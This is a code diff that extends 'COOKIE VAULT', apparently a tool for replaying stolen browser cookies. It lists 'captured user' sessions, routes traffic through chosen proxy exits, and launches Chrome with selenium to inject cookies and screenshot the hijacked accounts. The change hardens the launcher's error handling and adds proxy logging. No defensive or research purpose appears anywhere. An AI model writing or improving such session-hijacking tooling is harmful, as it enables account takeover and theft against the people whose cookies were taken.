diff --git a/app.py b/app.py
index bd31bce..5e908d5 100644
--- a/app.py
+++ b/app.py
@@ -395,16 +395,16 @@ SESSIONS_PAGE = STYLE + r"""
← back
{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.
-"""
NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")]
diff --git a/launcher_bridge.py b/launcher_bridge.py
index 3a5325d..edadd01 100644
--- a/launcher_bridge.py
+++ b/launcher_bridge.py
@@ -2,6 +2,7 @@
# COOKIE VAULT v5 — session-1 chrome launcher bridge
# Runs AS drjones (interactive Session 1) via scheduled task.
# Listens 127.0.0.1:5067, receives {cookies, domain} JSON, launches visible Chrome+selenium.
+import base64
import json, os, re, time, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
@@ -99,9 +100,19 @@ def launch(domain, cookies, tok, proxy=""):
time.sleep(4)
SCREENSHOTS[tok] = _png(driver, "done")
except Exception:
- SCREENSHOTS[tok] = _png(driver, "cookies-set")
+ # screenshot whatever state we're in — even a failed load shows something
+ try:
+ driver.get(f"https://{host}/")
+ time.sleep(3)
+ SCREENSHOTS[tok] = _png(driver, "retry")
+ except Exception:
+ SCREENSHOTS[tok] = _error_png(f"page load failed: {host}")
with open(os.path.join(SESSION_DIR, "_launch.log"), "a", encoding="utf-8") as f:
- f.write(f"{time.ctime()} {domain}: added {added}/{len(cookies)} cookies\n")
+ f.write(f"{time.ctime()} {domain}: added {added}/{len(cookies)} cookies via {proxy or 'direct'}\n")
+ except Exception as e:
+ SCREENSHOTS.setdefault(tok, _error_png(f"launch error: {e}"))
+ with open(os.path.join(SESSION_DIR, "_launch.log"), "a", encoding="utf-8") as f:
+ f.write(f"{time.ctime()} {domain}: LAUNCH ERROR {e}\n")
finally:
try: driver.quit()
except Exception: pass
@@ -112,6 +123,14 @@ def _png(driver, stage):
except Exception:
return b""
+_ERR_PNG = base64.b64decode(
+ "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==")
+
+def _error_png(msg):
+ with open(os.path.join(SESSION_DIR, "_errors.log"), "a", encoding="utf-8") as f:
+ f.write(f"{time.ctime()} {msg}\n")
+ return _ERR_PNG
+
SCREENSHOTS = {}
if __name__ == "__main__":